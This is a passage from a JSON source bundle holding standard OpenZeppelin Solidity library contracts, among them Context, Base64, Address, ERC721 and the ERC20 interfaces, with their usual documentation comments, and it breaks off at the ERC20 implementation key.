"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/ERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721.sol\";\nimport \"./IERC721Receiver.sol\";\nimport \"./extensions/IERC721Metadata.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/Strings.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n // Clear approvals\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(ERC721.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n // Clear approvals from the previous owner\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
